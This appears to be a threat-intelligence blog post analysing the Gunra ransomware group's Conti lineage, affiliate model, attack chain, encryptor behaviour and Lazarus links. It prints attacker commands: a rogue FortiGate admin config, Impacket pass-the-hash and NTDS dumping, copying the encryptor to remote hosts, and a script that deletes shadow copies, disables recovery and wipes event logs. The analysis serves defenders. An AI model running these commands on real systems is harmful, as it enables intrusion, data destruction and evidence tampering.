Gunra first appeared in April 2025, initially drawing attention because of similarities to Conti. Looking at the code and implementation patterns, it was clear that the operators had built on top of the older ransomware operation. This gave Gunra a familiar starting point. Its early activity focused mainly on Windows systems, using the usual combination of file encryption, data theft, and extortion.
The bigger change came in 2026, when Gunra moved toward a ransomware-as-a-service model. Affiliates became part of the operation, while initial access brokers and other participants could contribute access and other parts of an attack. This changed the structure of the operation and gave Gunra a way to scale attacks without having to handle every stage itself.
By August 2026, Gunra had become much more interesting than the ransomware sample researchers first encountered in 2025. Its development shows how a new ransomware operation can take existing code and techniques and build an affiliate driven model around them. The encryptor is only one part of the operation. The more important story is how Gunra developed from a Conti influenced ransomware family into a wider intrusion and extortion ecosystem.
Figure 1 - The Gunra data leak site with victim listings and countdown timers.
Here is how Gunra changed over fifteen months:
Figure 2 - Gunra ransomware timeline from 2025 to 2026.
When Conti's source code leaked in March 2022, it gave anyone with basic C++ knowledge a tested encryption engine. Gunra kept the parts of Conti that worked well and replaced the parts that were outdated or noisy.
Conti operated between 2020 and 2022. Their playbook relied on email phishing, malware loaders like TrickBot and BazarLoader, Cobalt Strike beacons, and copying files across local Windows shares. Gunra threw out that playbook and built something tailored for today's enterprise setups:
ATT&CK: T1190, T1133, T1136.001, T1098, T1556
Gunra's main way in is hitting exposed Fortinet appliances with two critical authentication bypass bugs:
Once inside, they add an admin account named to look like a normal cloud sync job:
# Rogue admin account created on FortiGate config system admin edit "forticloud-sync" set accprofile "super_admin" set vdom "root" set password [REDACTED] next end
To keep that account alive, they set up a FortiOS automation stitch. If an administrator notices the forticloud-sync account and deletes it, the trigger fires and immediately recreates it. On remote access portals, they patch login scripts so their own static OTP codes work alongside real tokens. Password resets don't kick them out.
When appliances are already patched, operators buy access from initial access brokers or use stolen VPN credentials to get their foot in the door.
ATT&CK: T1003.001, T1003.003, T1550.002, T1558.003
Gunra dumps the Active Directory database from the Domain Controller using Impacket's secretsdump.py:
# Dump NTDS password hashes from the Domain Controller python3 secretsdump.py -just-dc DOMAIN/admin:[email protected] # Test the harvested hash on other network hosts crackmapexec smb 10.0.0.0/24 -u administrator -H :aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a54a05f384bb0b
This step leaves clear fingerprints: Sysmon Event ID 10 (LSASS memory access), directory replication calls coming from normal workstations instead of domain controllers, and Event 4662 on the Domain Controller.
ATT&CK: T1021.002, T1047, T1569.002
They reuse harvested NTLM hashes with pass-the-hash. Instead of opening noisy command shells, they run commands through WMI and copy the encryptor binary to remote machines using admin shares:
# Remote WMI command execution using the NTLM hash python3 wmiexec.py DOMAIN/[email protected] -hashes :e19ccf75ee54e06b06a54a05f384bb0b # Copy the encryptor using administrative shares python3 smbclient.py DOMAIN/[email protected] -hashes :e19ccf75ee54e06b06a54a05f384bb0b # smb: \> use C$ # smb: \> cd Windows\Temp # smb: \Windows\Temp\> put sample2.exe
Gunra affiliates almost always do this between 10 PM and 6 AM in the victim's local timezone. Working overnight makes sense for them: security teams usually have fewer analysts on duty, giving the attackers hours to move around before anyone notices.
ATT&CK: T1560.001, T1567.002, T1114.002, T1530
Gunra sticks to one basic rule: steal everything first, encrypt second. If they encrypt too early, alarms go off, systems get isolated, and their chance to steal files is gone.
They grab Azure AD / Entra ID session tokens and query the Microsoft Graph API using two custom tools documented in CISA advisory AA26-222A:
# Compress stolen files with password protection 7z a -p[REDACTED] -mhe=on exfil_data.7z ./staged_documents/ # Staged data gets uploaded to MEGA cloud accounts over HTTPS
Figure 3 - Stolen company directories published on Gunra's leak portal, exposing department files to force ransom payment.
ATT&CK: T1486, T1490, T1489, T1070.001
When it's time to deploy, they stage the binary in NETLOGON on the Domain Controller and push it across domain machines using Group Policy tasks running as SYSTEM, or through PsExec scripts.
Right before starting encryption, they run this cleanup and destruction script:
:: Delete shadow copies using three methods vssadmin.exe delete shadows /all /quiet wmic shadowcopy delete /nointeractive Get-WmiObject Win32_ShadowCopy | ForEach-Object { $_.Delete() } :: Disable startup recovery bcdedit /set {default} recoveryenabled No bcdedit /set {default} bootstatuspolicy ignoreallfailures :: Delete Windows backup catalog wbadmin delete catalog -quiet :: Clear out event logs to hide tracks wevtutil cl Security wevtutil cl System wevtutil cl Application wevtutil cl "Windows PowerShell" wevtutil cl Microsoft-Windows-PowerShell/Operational
They also go after backup systems directly. If their domain credentials can reach secondary hypervisors, NAS boxes, or Veeam and Commvault consoles, they log in and delete backup stores manually so the victim has nothing to restore from.
I executed the Windows encryptor (sample2.exe) in an isolated test environment to see exactly what it does. It is a compact 64-bit executable built in Visual Studio:
Here is what happened when I ran it:
I recorded the full execution in my test environment. You can see how it encrypts files in real time and which files are changed during the process in the Procmon window.
Video 1 - Windows encryptor execution in action: process termination, VSS deletion, and rapid file encryption in real time.
When I checked the import table, the binary imports almost nothing directly: just KERNEL32.dll and USER32.dll. And USER32 is only needed for wsprintfW to format the ransom note. The static import table is full of harmless-looking calls like CreateFileW, GetProcAddress, and IsDebuggerPresent. Every sensitive Windows API it actually needs (for network discovery, privilege elevation, and file handle unlocking) gets resolved in memory at runtime using PEB walking and MurmurHash2 hashes. This keeps the binary looking clean to any tool that only checks the import table.
Looking inside the binary, I found the standard ChaCha constant strings embedded in .rdata: expand 32-byte k (the 256-bit sigma constant) and expand 16-byte k (the 128-bit tau constant), plus the RSA1 magic string for the RSA public key structure.
Each file gets its own unique 32-byte ChaCha key and 12-byte nonce generated via Windows CryptoAPI (CryptGenRandom). The key and nonce are encrypted with the hardcoded RSA-4096 public key and appended to the end of the file as a 512-byte footer. Because CryptGenRandom pulls strong OS entropy, there are no mathematical shortcuts to recover the files without the private key.
// How file encryption works (pseudocode) function encrypt_file(file_path, rsa_public_key): chacha_key = CryptGenRandom(32) // Fresh 256-bit key from OS nonce = CryptGenRandom(12) // 96-bit nonce plaintext = read(file_path) ciphertext = ChaCha_encrypt(chacha_key, nonce, plaintext) wrapped_key = RSA4096_encrypt(rsa_public_key, chacha_key + nonce) write(file_path + ".ENCRT", ciphertext + wrapped_key) secure_delete(file_path)
Inspecting the encrypted files on disk, I found that Gunra appends a binary metadata footer to the end of every .ENCRT file so their decryptor can process it later. This footer contains the 512-byte RSA-wrapped block holding the ChaCha key and nonce, a 4-byte flag marking whether the file was fully or partially encrypted, an 8-byte field recording the original file size, and a magic marker that marks the file as encrypted.
For files larger than 10MB, it uses step-skip partial encryption: it encrypts a block at the start, jumps ahead, encrypts another block, and keeps skipping. This destroys large databases and virtual disk images in seconds without reading every single byte from disk.
Right alongside the encrypted files, the encryptor dropped its ransom note (R3ADM3.txt) into every folder:
Figure 4 - Gunra Windows ransom note (R3ADM3.txt).
In January 2026, Gunra set up a formal affiliate model under the Golden Community brand. Their setup divides responsibilities between two tiers:
Figure 5 - Gunra Tor negotiation portal interface.
In July 2026, South Korean security agencies (NIS, NPA, KISA, FSI) and AhnLab ASEC released a joint report titled Operation Double Barrel. They found clear overlaps between Gunra ransomware attacks and North Korea's Lazarus Group.
Both groups used the exact same vulnerabilities in South Korean financial security software to get into networks. They used identical file names, command arguments, privilege tools, C2 servers, and SSH key fingerprints. Lazarus used the access for espionage, while Gunra used it for extortion. This shows Gunra wasn't just relying on typical cybercrime tricks, they had access to high-end exploit tools and infrastructure shared with state-backed actors.
The mapping below lines up each stage of the chain against its MITRE ATT&CK techniques.
Figure 7 - The Gunra MITRE ATT&CK mapping. Click to enlarge.
Here is what shows up in logs at each step:
When I ran the sample in my test environment, what stood out was not anything unusual, but how cleanly all the different parts worked together. Gunra is built on leaked Conti code, it uses known Fortinet vulnerabilities for initial access, and its encryption scheme follows the same ChaCha + RSA pattern we have seen before. But that's exactly what makes it effective. They took proven tools and wrapped them in an affiliate model that lets them scale fast without reinventing anything.
What stands out is how they have put the pieces together. Skipping phishing entirely and going straight for edge devices, pulling data from Microsoft 365 using stolen tokens instead of touching local file servers, and wiping every recovery option before dropping the encryptor. Each step on its own is well documented, but chained together they make for a fast and hard-to-recover-from attack.
The Operation Double Barrel overlap is the part that should worry people. When a criminal ransomware group and a state-backed actor are sharing the same exploit tools, infrastructure, and access, the line between espionage and extortion gets very thin. Gunra is worth watching not because it is new, but because it shows how quickly a capable group can go from leaked source code to a full-scale operation with real-world victims.